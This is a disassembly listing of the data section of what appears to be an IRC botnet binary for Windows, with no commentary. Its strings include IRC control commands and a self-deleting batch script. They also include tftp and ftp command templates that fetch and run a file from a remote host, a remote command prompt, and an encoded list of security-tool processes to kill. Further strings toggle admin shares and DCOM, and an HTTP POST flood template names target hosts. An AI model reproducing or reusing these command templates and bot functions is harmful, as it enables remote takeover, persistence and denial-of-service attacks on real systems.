dd offset dword_44F744+88h
dd offset dword_44F744+8Ah
dd offset dword_44F744+8Ch
dd offset dword_44F744+8Eh
dd offset dword_44F744+90h
dd offset dword_44F744+94h
dd offset dword_44F744+96h
dd offset dword_44F744+98h
dd offset dword_44F744+9Ah
dd offset dword_44F744+9Ch
dd offset dword_44F744+9Eh
dd offset dword_44F744+0A0h
dd offset dword_44F744+0A4h
dd offset dword_44F744+0ACh
dd offset dword_44F744+0B0h
dd offset dword_44F744+0B4h
dd offset dword_44F744+0B8h
dd offset dword_44F744+0BCh
dd offset dword_44F744+0C0h
dd offset dword_44F744+0C4h
dd offset aTrimy ; "trimy"
dd offset aTruck ; "truck"
dd offset aMuckc ; "muckc"
dd offset aZ ; "z"
dd offset aGsq ; "gsq"
dd offset aGsq+2
dd offset aGsq+4
dd offset off_44F830
dd offset dword_44F834
dd offset byte_4F2778
dd offset byte_4F2779
dd offset dword_44F83C
dd offset byte_4F277A
dd offset byte_4F277B
dd offset byte_4F277C
dd offset byte_4F277D
dd offset dword_44F83C+4
dd offset dword_44F83C+6
dd offset dword_44F83C+8
dd offset dword_44F84C
dd offset dword_44F84C+4
dd offset dword_44F84C+0Ah
dd offset byte_4F277E
dd offset dword_44F84C+0Ch
dd offset byte_4F277F
dd offset byte_4F2780
dd offset aFuck_0 ; "Fuck"
dd offset aFree_0 ; "Free"
dd offset byte_4F2781
dd offset byte_4F2782
dd offset asc_44F872 ; "X"
dd offset byte_4F2783
dd offset aBoy ; "BOY"
dd offset aGirl_0 ; "GIRL"
dd offset aGurl ; "gurl"
dd offset aShit ; "shit"
dd offset aAha ; "aha"
dd offset aYeah ; "yeah"
dd offset aMuha ; "muha"
dd offset aMof0 ; "mof0"
dd offset aMofo ; "mofo"
dd offset aTot ; "tot"
dd offset aLol ; "lol"
dd offset aLoloA ; "lolo|a|"
dd offset aSex4free ; "|sex4free|"
dd offset a4us ; "|4us|"
dd offset a4you ; "{4you}"
dd offset a4u ; "|4u|"
dd offset a5u ; "5u"
dd offset a6u ; "6u"
asc_44FA88: ; DATA XREF: sub_4180CE+6o
dw 0Ah
unicode 0, < >,0
aPing_1 db 'PING',0 ; DATA XREF: sub_418115+50o
align 4
aPongS_0 db 'PONG %s',0Ah,0 ; DATA XREF: sub_418115+67o
align 4
a433_0 db '433',0 ; DATA XREF: sub_418115:loc_41818Co
a432 db '432',0 ; DATA XREF: sub_418115+88o
aNickS_5 db 'NICK %s',0Ah,0 ; DATA XREF: sub_418115+C3o
align 4
aNickSUserSHotm db 'NICK %s',0Ah ; DATA XREF: sub_41820B+98o
db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
align 4
a__2 db '-|`_\{[]}',0 ; DATA XREF: sub_418428+BCo
; sub_418428+174r ...
align 8
dword_44FAF8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: _0:00418903o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_44FB44 dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: _0:00418942o
; ---------------------------------------------------------------------------
loc_44FB60: ; DATA XREF: _0:00418977o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_44FB74 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0 ; DATA XREF: _0:0041899Eo
aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418C20+72o
align 4
aMirc_2 db 'mIRC',0 ; DATA XREF: sub_418CE5+5o
align 4
aMirc_3 db 'mIRC',0 ; DATA XREF: sub_418CE5+18o
align 4
aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_418D6A+1Co
align 4
aSS_5 db '%s %s',0 ; DATA XREF: _0:00418E50o
align 4
aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418E8C+2o
aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_418EAE+48o
align 8
a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_418EAE+85o
db ':repeat',0Dh,0Ah
db 'del "%%1"',0Dh,0Ah
db 'if exist "%%1" goto repeat',0Dh,0Ah
db 'del "%s"',0
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418EAE+140o
align 4
dword_44FC44 dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
; DATA XREF: sub_419036+5Co
dd 65726165h, 64h
unk_44FC60 db 2Dh ; - ; DATA XREF: sub_419036+8Fo
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedWithErro db '- failed with error code %d',0
align 4
unk_44FC88 db 2Dh ; - ; DATA XREF: sub_419036+9Co
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aOperatingSyste db '- operating system is not supported',0
align 4
aTftpISGetSS db 'tftp -i %s get %s &%s',0Dh,0Ah,0 ; DATA XREF: _0:00419196o
aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: _0:004191BFo
db 'it >> o &ftp -n -s:o &%s',0Dh,0Ah,0
aNetapi32_dll_0 db 'netapi32.dll',0 ; DATA XREF: sub_419229+47o
align 4
aNetmessagebu_0 db 'NetMessageBufferSend',0 ; DATA XREF: sub_419229+54o
align 8
aAdd db 'Add',0 ; DATA XREF: _2:off_44FDD0o
aAdded db 'Added',0 ; DATA XREF: _2:off_44FDD4o
align 4
aDelete_1 db 'Delete',0 ; DATA XREF: _2:0044FDDCo
align 4
aDeleted db 'Deleted',0 ; DATA XREF: _2:0044FDE0o
aList_1 db 'List',0 ; DATA XREF: _2:0044FDE8o
align 4
aListed db 'Listed',0 ; DATA XREF: _2:0044FDECo
align 4
aStart_0 db 'Start',0 ; DATA XREF: _2:0044FDF4o
align 4
aStarted db 'Started',0 ; DATA XREF: _2:0044FDF8o
aStop_0 db 'Stop',0 ; DATA XREF: _2:0044FE00o
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: _2:0044FE04o
aPause_0 db 'Pause',0
align 4
aPaused_0 db 'Paused',0
align 4
aContinue_0 db 'Continue',0
align 10h
aContinued db 'Continued',0
align 10h
off_44FDD0 dd offset aAdd ; DATA XREF: sub_419350+6Dr
; sub_419737+50r ...
; "Add"
off_44FDD4 dd offset aAdded ; DATA XREF: sub_419350+2Dr
; sub_419737+82r ...
; "Added"
dword_44FDD8 dd 0 ; DATA XREF: sub_419350+18r
dd offset aDelete_1 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_1 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 44FDA4h, 44FDACh, 2, 44FDB4h, 44FDC0h, 3
unk_44FE24 db 2Dh ; - ; DATA XREF: sub_419350+38o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSServiceS db '- %s service: ',27h,'%s',27h,0
unk_44FE40 db 2Dh ; - ; DATA XREF: sub_419350+55o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aErrorWithServi db '- error with service: ',27h,'%s',27h,' - %s',0
align 4
unk_44FE6C db 2Dh ; - ; DATA XREF: sub_419350+74o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoServiceSpec db '- %s: no service specified',0
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_419479+3Co
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_419479:loc_4194BFo
align 4
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_419479:loc_4194C9o
align 4
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_419479:loc_4194D3o
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_419479:loc_4194DDo
align 10h
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_419479:loc_4194E7o
db 'dependent on it.',0
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_419479+8Fo
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_419479:loc_419512o
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_419479:loc_419519o
db 'tServiceCtrlDispatcher.',0
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_419479:loc_419520o
db ' the service.',0
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_419479:loc_419527o
align 10h
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_419479:loc_419552o
align 4
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_419479:loc_419559o
db 'marked for deletion.',0
align 10h
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_419479:loc_419560o
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_419479:loc_419567o
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_419479:loc_41956Eo
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_419479:loc_419575o
db ' correct access rights.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_419479:loc_41957Co
align 4
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_419479:loc_419583o
db 'the state of the service.',0
align 4
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_419479:loc_41958Ao
align 4
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_419479:loc_419591o
align 4
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_419479+12Co
align 4
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_4195F7+25o
align 4
aUnknown db ' Unknown',0 ; DATA XREF: sub_4195F7+9Eo
aPaused db ' Paused',0 ; DATA XREF: sub_4195F7:loc_41969Co
aPausing db ' Pausing',0 ; DATA XREF: sub_4195F7:loc_4196A3o
aContinuing db ' Continuing',0 ; DATA XREF: sub_4195F7:loc_4196AAo
aRunning db ' Running',0 ; DATA XREF: sub_4195F7:loc_4196B1o
aStoping db ' Stoping',0 ; DATA XREF: sub_4195F7:loc_4196B8o
aStarting db ' Starting',0 ; DATA XREF: sub_4195F7:loc_4196BFo
aStopped db ' Stopped',0 ; DATA XREF: sub_4195F7:loc_4196C6o
aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_4195F7+EEo
unk_4503D8 db 2Dh ; - ; DATA XREF: sub_419737+57o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithShar db '- %s: error with share: ',27h,'%s',27h,' - %s',0
align 4
dword_450404 dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
; DATA XREF: sub_419737+89o
dd 73252720h, 27h
unk_450420 db 2Dh ; - ; DATA XREF: sub_419737+ABo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoShareSpecif db '- %s: no share specified',0
align 4
aShareNameResou db 'Share name: Resource: Uses: Desc:',0
; DATA XREF: sub_41992C+26o
align 4
unk_45047C db 2Dh ; - ; DATA XREF: sub_41992C+76o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListError db '- share list error %s <%ld>',0
align 4
aYes db 'Yes',0 ; DATA XREF: sub_41992C+B5o
aNo db 'No',0 ; DATA XREF: sub_41992C+BCo
align 4
a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_41992C+D0o
align 4
unk_4504C4 db 2Dh ; - ; DATA XREF: sub_419A4D+6Do
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSUsernameS db '- %s username: ',27h,'%s',27h,0
align 4
unk_4504E4 db 2Dh ; - ; DATA XREF: sub_419A4D+94o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSErrorWithUser db '- %s: error with username: ',27h,'%s',27h,' - %s',0
align 4
unk_450514 db 2Dh ; - ; DATA XREF: sub_419A4D+B6o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aSNoUsernameSpe db '- %s: no username specified',0
align 4
aAccountS db 'Account: %S',0 ; DATA XREF: sub_419B93+50o
aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_419B93+81o
align 4
aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_419B93+ACo
align 4
aCommentS db 'Comment: %S',0 ; DATA XREF: sub_419B93+D4o
aUnknown_2 db 'Unknown',0 ; DATA XREF: sub_419B93+104o
aAdministrator db 'Administrator',0 ; DATA XREF: sub_419B93:loc_419C9Eo
align 10h
aUser_3 db 'User',0 ; DATA XREF: sub_419B93:loc_419CA5o
align 4
aGuest db 'Guest',0 ; DATA XREF: sub_419B93:loc_419CACo
align 10h
aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_419B93+125o
aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_419B93+14Do
align 4
aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_419B93+178o
align 4
aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_419B93+1A0o
align 4
aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_419B93+1CBo
align 4
aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_419B93+1F3o
align 4
aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_419B93+21Eo
align 4
aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_419B93+246o
align 4
aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_419B93+271o
aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_419B93+299o
align 10h
aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_419B93+2C4o
align 4
aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_419B93+2ECo
align 4
aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419B93+317o
aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_419B93+33Fo
align 10h
aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_419B93+36Ao
align 4
unk_4506C4 db 2Dh ; - ; DATA XREF: sub_419B93+394o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserInfoErrorL db '- user info error <%ld>',0
align 4
aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_419F61+29o
unk_45070C db 2Dh ; - ; DATA XREF: sub_419F61+7Ao
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListErrorS db '- user list error %s <%ld>',0
aS_29 db ' %S',0 ; DATA XREF: sub_419F61+BAo
align 4
unk_450738 db 2Dh ; - ; DATA XREF: sub_419F61:loc_41A04Eo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aAnAccessViolat db '- an access violation has occured',0
align 4
aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_419F61+145o
align 4
aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_41A0D7+3Bo
align 10h
aServerNameNotF db 'Server name not found.',0 ; DATA XREF: sub_41A0D7:loc_41A11Co
align 4
aThisNetworkReq db 'This network request is not supported.',0
; DATA XREF: sub_41A0D7:loc_41A126o
align 10h
aNotEnoughMemor db 'Not enough memory.',0 ; DATA XREF: sub_41A0D7:loc_41A130o
align 4
aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_41A0D7:loc_41A13Ao
align 4
aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A144o
align 4
aDuplicateShare db 'Duplicate share name.',0 ; DATA XREF: sub_41A0D7+89o
align 4
aInvalidForRedi db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41A0D7:loc_41A16Ao
align 4
aDeviceOrDirect db 'Device or directory does not exist.',0
; DATA XREF: sub_41A0D7:loc_41A174o
aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A17Bo
aAGeneralFailur db 'A general failure occurred in the network hardware.',0
; DATA XREF: sub_41A0D7:loc_41A182o
align 10h
aTheOperationIs db 'The operation is allowed only on the primary domain controller of'
; DATA XREF: sub_41A0D7+CFo
db ' the domain.',0
align 10h
aTheUserAccount db 'The user account already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1ADo
align 4
aTheGroupAlread db 'The group already exists.',0 ; DATA XREF: sub_41A0D7:loc_41A1B4o
align 10h
aThePasswordIsS db 'The password is shorter than required (or does not meet the passw'
; DATA XREF: sub_41A0D7:loc_41A1BBo
db 'ord policy requirement.)',0
align 4
aAnUnknownErr_0 db 'An unknown error occurred.',0 ; DATA XREF: sub_41A0D7:loc_41A1D8o
align 4
aTheComputerNam db 'The computer name is invalid.',0 ; DATA XREF: sub_41A0D7:loc_41A1DFo
align 4
aShareNotFound_ db 'Share not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1E6o
align 4
aTheUserNameCou db 'The user name could not be found.',0 ; DATA XREF: sub_41A0D7:loc_41A1EDo
align 10h
aNetworkConnect db 'Network connection not found.',0 ; DATA XREF: sub_41A0D7:loc_41A1F4o
align 10h
unk_450A40 db 2Dh ; - ; DATA XREF: sub_41A20B+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_450A68 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_41A20B+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h, 0
dword_450A98 dd 7530h ; DATA XREF: sub_41A689+12r
dword_450A9C dd 65676572h, 2E746964h, 657865h, 6F63736Dh, 6769666Eh
; DATA XREF: _2:off_450BE8o
; _2:00450BECo
dd 6578652Eh, 0
dword_450AB8 dd 7374656Eh, 2E746174h, 657865h, 6C62736Dh, 2E747361h
; DATA XREF: _2:00450BF0o _2:00450BF4o
dd 657865h, 7270617Ah, 78652E6Fh, 65h, 7776616Eh, 652E3233h
dd 6578h, 6176616Eh, 32337770h, 6578652Eh, 0
dword_450AF8 dd 656E6F7Ah, 72616C61h, 78652E6Dh, 65h, 636E6977h, 32336766h
; DATA XREF: _2:00450C04o
dd 6578652Eh, 6B736174h, 2E6E6F6Dh, 657865h, 646E6150h
dd 45564161h, 6E69676Eh, 78652E65h, 65h, 69737973h, 2E6F666Eh
dd 657865h, 7663736Dh, 2E323362h, 657865h, 4C42534Dh, 2E545341h
dd 657865h, 6B656574h, 2E736469h, 657865h, 696E6550h, 2E323373h
dd 657865h, 61656262h, 2E656C67h, 657865h, 4D737953h, 50586E6Fh
dd 6578652Eh, 0
dword_450B8C dd 756E6977h, 652E6470h, 6578h, 736E6977h, 652E7379h, 6578h
; DATA XREF: _2:00450C2Co _2:00450C30o
dd 74617373h, 78652E65h, 65h, 65746172h, 6578652Eh, 0
dword_450BBC dd 75643364h, 74616470h, 78652E65h, 65h, 6E757269h, 78652E34h
; DATA XREF: _2:00450C3Co
dd 65h, 72313169h, 346E3435h, 6578652Eh, 0
off_450BE8 dd offset dword_450A9C ; DATA XREF: sub_41A334+D1r
dd offset dword_450A9C+0Ch
dd offset dword_450AB8
dd offset dword_450AB8+0Ch
dd offset dword_450AB8+18h
dd offset dword_450AB8+24h
dd offset dword_450AB8+30h
dd offset dword_450AF8
dd offset dword_450AF8+10h
dd offset dword_450AF8+28h
dd offset dword_450AF8+3Ch
dd offset dword_450AF8+48h
dd offset dword_450AF8+54h
dd offset dword_450AF8+60h
dd offset dword_450AF8+6Ch
dd offset dword_450AF8+78h
dd offset dword_450AF8+84h
dd offset dword_450B8C
dd offset dword_450B8C+0Ch
dd offset dword_450B8C+18h
dd offset dword_450B8C+24h
dd offset dword_450BBC
dd offset dword_450BBC+10h
dd offset dword_450BBC+1Ch
aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+5Ao
align 4
aSD db ' %s (%d)',0 ; DATA XREF: sub_41A334+17Ao
align 4
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_41A334+188o
align 4
aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_41A334+19Co
align 10h
aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_41A334+204o
align 4
unk_450C94 db 2Dh ; - ; DATA XREF: sub_41A574+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
unk_450CB4 db 2Dh ; - ; DATA XREF: sub_41A574+86o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_450CD8 db 2Dh ; - ; DATA XREF: sub_41A574:loc_41A601o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
aPrivmsgSS_2 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_41A711+33o
aS_18 db '%s',0 ; DATA XREF: sub_41A711+4Co
align 10h
unk_450D10 db 2Dh ; - ; DATA XREF: sub_41A798:loc_41A87Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_450D40 db 2Dh ; - ; DATA XREF: sub_41A798+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 4
unk_450D68 db 2Dh ; - ; DATA XREF: sub_41A798:loc_41A8CAo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess.',0Dh,0Ah,0
aCmd_exe_0 db 'cmd.exe',0 ; DATA XREF: sub_41A8ED+20o
unk_450DA0 db 2Dh ; - ; DATA XREF: sub_41A8ED+150o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
unk_450DC4 db 2Dh ; - ; DATA XREF: sub_41A8ED+198o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
aIpc db 'IPC$',0 ; DATA XREF: _2:off_450E18o
align 10h
aAdmin_1 db 'ADMIN$',0 ; DATA XREF: _2:00450E20o
align 4
aC_0 db 'C$',0 ; DATA XREF: _2:00450E28o
align 4
aC_1 db 'C:\',0 ; DATA XREF: _2:00450E2Co
aD_2 db 'D$',0 ; DATA XREF: _2:00450E30o
align 4
aD_3 db 'D:\',0 ; DATA XREF: _2:00450E34o
off_450E18 dd offset aIpc ; DATA XREF: sub_41AB05:loc_41ACBAr
; sub_41AB05+1C3r ...
; "IPC$"
dword_450E1C dd 0 ; DATA XREF: sub_41AE2B:loc_41AFA6r
dd offset aAdmin_1 ; "ADMIN$"
align 8
dd offset aC_0 ; "C$"
dd offset aC_1 ; "C:\\"
dd offset aD_2 ; "D$"
dd offset aD_3 ; "D:\\"
word_450E38 dw 4Eh ; DATA XREF: sub_41AB05+38r
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41AB05+54o
align 4
dword_450E48 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+6Co
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
dword_450E6C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41AB05:loc_41AB78o
dd 62617369h, 2E64656Ch, 0
dword_450E8C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41AB05+EDo
align 10h
dword_450ED0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+10Co
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
dword_450F0C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC18o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_450F40 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC30o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_450F7C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AC37o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_450FAC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+1D3o
aShareSDeleted_ db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_450FD0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41ACDFo
aFailedToDelete db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_450FFC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+263o
aShareSDelete_0 db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_451020 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05:loc_41AD6Fo
aFailedToDele_0 db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_45104C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+2D1o
aNetworkSharesD db '- Network shares deleted.',0
align 4
dword_451074 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AB05+2E7o
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
word_4510A4 dw 59h ; DATA XREF: sub_41AE2B+38r
align 4
aEnabledcom_0 db 'EnableDCOM',0 ; DATA XREF: sub_41AE2B+54o
align 4
dword_4510B4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+6Co
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
dword_4510D8 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41AE2B:loc_41AE9Eo
dd 6C62616Eh, 2E6465h
dword_4510F4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+91o
aFailedToOpen_1 db '- Failed to open DCOM registry key.',0
aRestrictanon_0 db 'restrictanonymous',0 ; DATA XREF: sub_41AE2B+EDo
align 4
dword_451138 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+108o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_451178 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF3Ao
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 10h
dword_4511B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF52o
aFailedToOpen_2 db '- Failed to open IPC$ restriction registry key.',0
dword_4511EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AF59o
aAdvapi32_dll_1 db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_45121C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+1A0o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_45123C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41AFD2o
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2 db '%c$',0 ; DATA XREF: sub_41AE2B+21Bo
aC_3 db '%c:\',0 ; DATA XREF: sub_41AE2B+22Co
align 10h
dword_451270 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+26Eo
aShareSAdded__0 db '- Share ',27h,'%s',27h,' added.',0
dword_451290 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B:loc_41B0A0o
aFailedToAddS_0 db '- Failed to add ',27h,'%s',27h,' share.',0
dword_4512B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+2C5o
aNetworkSharesA db '- Network shares added.',0
dword_4512DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41AE2B+2DDo
aNetapi32_dll_1 db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 10h
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B161+DEo
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
asc_451344 db 0Dh,0Ah,0 ; DATA XREF: sub_41B161+F2o
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41B33E+15o
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41B33E+1Co
align 4
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41B33E+23o
align 4
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41B33E+2Ao
align 4
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41B33E+31o
align 4
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41B33E+38o
align 4
